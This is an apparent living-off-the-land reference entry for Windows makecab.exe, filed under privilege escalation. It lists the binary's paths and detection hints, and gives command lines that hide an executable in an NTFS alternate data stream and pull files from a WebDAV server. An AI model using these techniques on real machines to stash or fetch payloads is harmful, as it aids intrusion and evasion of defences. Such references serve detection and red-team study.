03 : /Privilege-escalation Windows#

~/ cat Makecab.exe.md

Binary to package existing files into a cabinet (.cab) file

Paths:

C:\Windows\System32\makecab.exe
C:\Windows\SysWOW64\makecab.exe

Detection: Makecab getting files from Internet Makecab storing data into alternate data streams

Alternate data streams

Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.

makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab

Download

Download and compresses the target file and stores it in the target file.

makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab